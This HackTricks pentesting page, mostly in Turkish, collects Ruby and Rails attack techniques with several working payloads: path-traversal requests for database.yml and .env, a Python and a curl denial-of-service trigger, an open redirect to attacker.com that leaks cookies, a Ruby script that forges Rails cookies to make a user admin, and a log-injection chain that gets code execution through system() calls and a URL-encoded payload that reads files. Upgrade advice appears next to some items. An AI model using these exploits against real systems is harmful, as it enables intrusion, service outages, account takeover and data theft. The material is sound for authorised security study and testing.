Ruby İpuçları

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Dosya yükleme ile RCE

As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.

İpuçları:

  • Uygulama başlatıldığında çalıştırılan diğer boot/eager-load konumları da yazılabilir olduklarında risklidir (ör. config/initializers/ klasik olanıdır). Eğer rastgele bir dosya yüklemesi config/ altına düşüyor ve daha sonra evaluate/require ediliyorsa, boot sırasında RCE elde edebilirsiniz.
  • Rails’in boot sırasında yükleyeceği dosyaları container imajına kopyalayan dev/staging build’lerini arayın.

Active Storage image transformation → komut yürütme (CVE-2025-24293)

When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.

  • A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

  • Test sırasında denenecekler

  • variant/processing seçeneklerini, transformation isimlerini veya arbitrary ImageMagick argümanlarını kabul eden endpoint’leri belirleyin.

  • Fuzz params[:t] ve params[:v] için şüpheli hataları veya yürütme yan etkilerini arayın. Eğer method adını etkileyebiliyorsanız veya MiniMagick’e ulaşan ham argümanlar gönderebiliyorsanız, image processor host üzerinde kod yürütme elde edebilirsiniz.

  • Sadece üretilen variant’ları okuma erişiminiz varsa, crafted ImageMagick işlemleri ile blind exfiltration yapmayı deneyin.

  • Düzeltme/tespitler

  • Eğer Active Storage + image_processing + mini_magick ile Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 ve kullanıcı kontrollü transformation’lar görürseniz, bunu exploitable olarak değerlendirin. Yükseltme ve method/param için sıkı izin listeleri (allowlists) ile ImageMagick için sertleştirilmiş bir policy uygulanmasını önerin.

Rack::Static LFI / path traversal (CVE-2025-27610)

If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.

  • config.ru veya middleware stack’lerinde Rack::Static mount eden uygulamaları arayın. Statik path’lere karşı encoded traversallar deneyin, örneğin:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Prefix’i yapılandırılmış urls: ile eşleştirecek şekilde ayarlayın. Uygulama dosya içeriği ile yanıt veriyorsa, çözülmüş :root altında herhangi bir şeye LFI’niz olabilir.

  • Önlem: Rack’i güncelleyin; :root’un yalnızca public dosyaların bulunduğu bir dizini işaret ettiğinden emin olun ve açıkça ayarlayın.

Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)

Rack < 3.0.9.1 and < 2.2.8.1 spent super-linear time parsing crafted Content-Type: multipart/form-data headers. A single POST with a gigantic A= parameter list can peg a Puma/Unicorn worker and cause DoS or request queue starvation.

  • Quick PoC (will hang one worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
  • Rails/Sinatra/Hanami/Grape gibi herhangi bir Rack-tabanlı stack’e karşı çalışır. Eğer önünde nginx/haproxy ve keep-alive varsa, paralel tekrarlarla worker’ları tüketin.
  • Parser lineer hale getirilerek patchlendi; rack gem versiyonunun < 3.0.9.1 veya < 2.2.8.1 olup olmadığına bakın. Değerlendirmelerde, WAF’ların nadiren bunun önüne geçtiğini belirtin çünkü header sözdizimsel olarak geçerlidir.

REXML XML parser ReDoS (CVE-2024-49761)

The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., &#1111111111111x41;). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.

Minimal trigger against a Rails endpoint that parses XML:

curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'

If the process stays busy for seconds and worker CPU spikes, it is likely vulnerable. Attack is low bandwidth and affects background jobs that ingest XML as well.

Apps using the cgi gem (default in many Rack stacks) can be frozen with a single malicious header:

  • CGI::Cookie.parse was super-linear; huge cookie strings (thousands of delimiters) trigger O(N²) behavior.
  • CGI::Util#escapeElement regex allowed ReDoS on HTML escaping.

Both issues are fixed in cgi 0.3.5.1 / 0.3.7 / 0.4.2. For pentests, drop a massive Cookie: header or feed untrusted HTML to helper code and watch for worker lockup. Combine with keep-alive to amplify.

The googlesign_in gem < 1.3.0 (used for Google OAuth on Rails) performed an incomplete same-origin check on the proceedto parameter. A malformed URL like proceedto=//attacker.com/%2F.. bypasses the check and redirects the user off-site while preserving Rails flash/session cookies.

Exploit flow:

  1. Victim clicks crafted Google Sign-In link hosted by attacker.
  2. After authentication, the gem redirects to attacker-controlled domain, leaking flash notices or any data stored in cookies scoped to the wildcard domain.
  3. If the app stores short-lived tokens or magic links in flash, this can be turned into account takeover.

During testing, grep Gemfile.lock for googlesign_in < 1.3.0 and try malformed proceedto values. Confirm via Location header and cookie reflection.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

Ruby ile cookie'ları decrypt/forge etme ```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'

secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])

salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”

Modify and re-encrypt (example: escalate role)

plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”

</details>
Notlar:
- Eski uygulamalar AES-256-CBC ve tuzlar `encrypted cookie` / `signed encrypted cookie` veya JSON/Marshal serializer'larını kullanabilir. Tuzları, cipher ve serializer'ı buna göre ayarlayın.
- İhlal/assessment durumunda, mevcut tüm çerezleri geçersiz kılmak için `secret_key_base`'i döndürün.

## Ayrıca bakınız (Ruby/Rails-specific vulns)

- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>


## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling

Bir uygulama (çoğunlukla basit bir Rack/Sinatra/Rails endpoint) aynı anda:
- kullanıcı kontrollü bir string'i birebir logluyor ve
- daha sonra aynı string'ten türetilen bir yolun gösterdiği dosyayı (sonrasında `Pathname#cleanpath`) `load` ediyor,

Genellikle log'u zehirleyip uygulamayı log dosyasını `load` etmeye zorlayarak remote code execution elde edebilirsiniz. Temel primitfler:

- Ruby `load`, hedef dosyanın içeriğini dosya uzantısından bağımsız olarak Ruby olarak değerlendirir. İçeriği Ruby olarak parse edilebilen herhangi bir okunabilir metin dosyası çalıştırılır.
- `Pathname#cleanpath`, dosya sistemine bakmadan `.` ve `..` segmentlerini çökertir ve path smuggling'e izin verir: saldırgan kontrollü gereksiz veri logging için başa eklenebilirken temizlenmiş yol yine çalıştırılacak hedef dosyaya çözülür (ör. `../logs/error.log`).

### Minimal vulnerable pattern
```ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Log’un neden geçerli Ruby içerebileceği

Logger önek satırları yazar:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

Ruby’de # yorum başlatır ve 9/2/2025 sadece aritmetiktir. Geçerli Ruby kodu enjekte etmek için şunları yapmalısınız:

  • Payload’ınızı INFO satırındaki # tarafından yoruma alınmaması için yeni bir satırda başlatın; başta bir newline gönderin (\n veya %0A).
  • INFO satırının açtığı sarkık [’i kapatın. Yaygın bir hile ] ile başlamaktır ve isteğe bağlı olarak parser’ı memnun etmek için ][0]=1 ekleyebilirsiniz.
  • Sonra rastgele Ruby kodu yerleştirin (ör. system(...)).

Örnek olarak, crafted param ile yapılan tek bir isteğin log’a nasıl yansıyacağının örneği:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Hem kodu loglayan hem de log yoluna çözülen tek bir string gizlemek

Bir saldırgan kontrollü tek bir string istiyoruz:

  • ham olarak loglandığında Ruby payload’ımızı içeren, ve
  • Pathname.new(<input>).cleanpath’e geçirildiğinde ../logs/error.log’a çözülen, böylece sonraki load yeni zehirlenmiş log dosyasını çalıştırır.

Pathname#cleanpath şemaları görmezden gelir ve dizin geçişi (traversal) bileşenlerini daraltır, bu yüzden aşağıdaki işe yarar:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • :// öncesindeki #, log çalıştırıldığında Ruby’nin kuyruğu yok saymasını sağlar; aynı zamanda cleanpath son eki ../logs/error.log olarak azaltır.
  • Baştaki yeni satır INFO satırından çıkar; ] sarkmış köşeli parantezi kapatır; ][0]=1 parser’ı tatmin eder.

End-to-end exploitation

  1. Send the following as the backup script name (URL-encode the first newline as %0A if needed):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. The app logs your raw string into logs/error.log.
  2. The app computes cleanpath which resolves to ../logs/error.log and calls load on it.
  3. Ruby executes the code you injected in the log.

To exfiltrate a file in a CTF-like environment:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (ilk karakter yeni satır):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin